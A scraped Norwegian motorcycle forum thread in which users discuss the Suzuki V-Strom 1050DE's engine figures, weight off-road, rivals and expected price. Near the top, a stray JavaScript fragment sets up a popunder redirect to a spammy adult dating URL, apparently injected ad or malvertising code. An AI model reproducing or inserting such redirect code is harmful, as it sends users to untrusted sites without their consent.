Suzuki V-Strom 1050DE

[SilverSmurfer]

');var popunder = {expire: 6, url: "https://flirthoney-hot.life/?u=lcd8hwq&o=h6dw1n9"};}

Suzuki med en solid oppdatering av V-Strom. Dette virker som en intressant sykkel i adventuresegmentet.

Førsteintrykket er at dette er en solid og legitim konkurrent i adv-markedet. Med solid ytelse både med tanke på langtur og gruskjøring. Det er også en sykkel som har det meste i orden. Og for min del så er det den første Suzuki sykkelen jeg har vert genuint intressert i så langt.

Så dette ser spennende ut.

[dypen]

Ser veldig fin ut og mange endringer vs tidligre modell, men hva med motor ... Noen her som har kjørt tilsvarende ...

[SilverSmurfer]

Ser veldig fin ut og mange endringer vs tidligre modell, men hva med motor ... Noen her som har kjørt tilsvarende ...

107 HK, 2 sylindere, tenker dette blir omtrent samme som en Afrika Twin? Litt mer enn tidligere modeller om jeg husker riktig, de sier motoren er 100% nydesignet, så det kan jo være både positivt og negativt.

For min del høres det helt greit ut. Mindre sprek enn feks GS eller 1290 Super Adventure men mangler ikke på kreftene.

[Bjerknez]

Men hva er momentet, og hvordan er kurven? Det er egentlig DET som er interresant…

[dypen]

Peak power 107PS (79kW) / 8,500rpm
Peak torque 100Nm / 6,000rpm

[Bjerknez]

Ok, kan ikke se noe formidabelt med disse tallene til å være en 1000cc?

Synes momentet kommer ganske høyt opp kanskje?

[SilverSmurfer]

Den ligger omtrent på samme nivå som Africa Twin slik jeg ser det, det er heller ikke en spesielt formidabel sykkel mtp at den er 1100cc. Men det er da uansett en relativt populær sykkel i Adventure segmentet.

Slik jeg ser det så ser det så blir uansett det viktigste god kjørekomfort. Hvis komforten og kjøreegenskapene er gode så kan det fort bli en populær langtur sykkel.

[Norsense]

Sikkert en knakende god tursykkel! Etter min mening er den også "mindre stygg" enn mange av konkurrentene. Lurer dog litt på hvor mange som kan bruke disse aktivt på grus eller lenger utafor veien. Når jeg tok opp MC-kjøring(igjen), var det etter å ha lest om TET og blitt fristet. Kjøpte en gammel adv. som veier 50kg mindre enn denne, og begynte å lete etter grusveier. (Fant forresten ut at må være bygget noen formuer på salg av veibommer i Norge). Det ble fort klart at for optimal progresjon hadde det vært gunstig med -50kg til.

Har ikke kjørt MX eller speedway under karrieren, og glatta har jeg holdt meg unna etter 2 år med helårskjøring på lett-mc i starten av 90-tallet. Kanskje er jeg bare skikkelig dårlig, men jeg tror ikke jeg er helt alene.

Om jeg hadde hatt økonomi og var på jakt etter en slik hadde jeg nok helt sikkert valgt DE-modellen. Om ikke for annen grunn enn at gullfargede eikefelger ser 1000 ganger bedre ut enn støpte.

[SilverSmurfer]

Sikkert en knakende god tursykkel! Etter min mening er den også "mindre stygg" enn mange av konkurrentene. Lurer dog litt på hvor mange som kan bruke disse aktivt på grus eller lenger utafor veien. Når jeg tok opp MC-kjøring(igjen), var det etter å ha lest om TET og blitt fristet. Kjøpte en gammel adv. som veier 50kg mindre enn denne, og begynte å lete etter grusveier. (Fant forresten ut at må være bygget noen formuer på salg av veibommer i Norge). Det ble fort klart at for optimal progresjon hadde det vært gunstig med -50kg til.

Har ikke kjørt MX eller speedway under karrieren, og glatta har jeg holdt meg unna etter 2 år med helårskjøring på lett-mc i starten av 90-tallet. Kanskje er jeg bare skikkelig dårlig, men jeg tror ikke jeg er helt alene.

Om jeg hadde hatt økonomi og var på jakt etter en slik hadde jeg nok helt sikkert valgt DE-modellen. Om ikke for annen grunn enn at gullfargede eikefelger ser 1000 ganger bedre ut enn støpte.

Uten tvil, skal man på TET så er det like greit å gå for noe sånt som CRF300L. Jo lavere vekt jo enklere er det å komme seg i gjennom det.

[S Big]

Har lest at Suzuki kommer med en helt ny V-Strom 700 m. paralell twin istedet for den gamle v-twinen de har brukt i alle år.

[JoeHugin]

Syns denne så aktuell ut jeg - spent på pris da.

[Bjerknez]

Skal jeg tippe, litt i overkant av 200.000 som frapris.

[SilverSmurfer]

Syns denne så aktuell ut jeg - spent på pris da.

Jeg tror prisen havnet på 215+klargjøring.

[Omdal]

Ser veldig bra ut dette. Det var vell på tide med disse oppgraderingen og. Får bare håpe den ikke blir for dyr får da er jeg redd folk heller velger KTM eller bmw.

[Bjerknez]

Ktm og BMW er jo talt overlegne når det kommer til motor. Hvis denne V-stromen med 150ish kubikk mindre og langt mindre motor specs blir å koste 220.000,- som frapris skal den være forsømt bra ellers hvis prisen skal stå i stil med hva man får?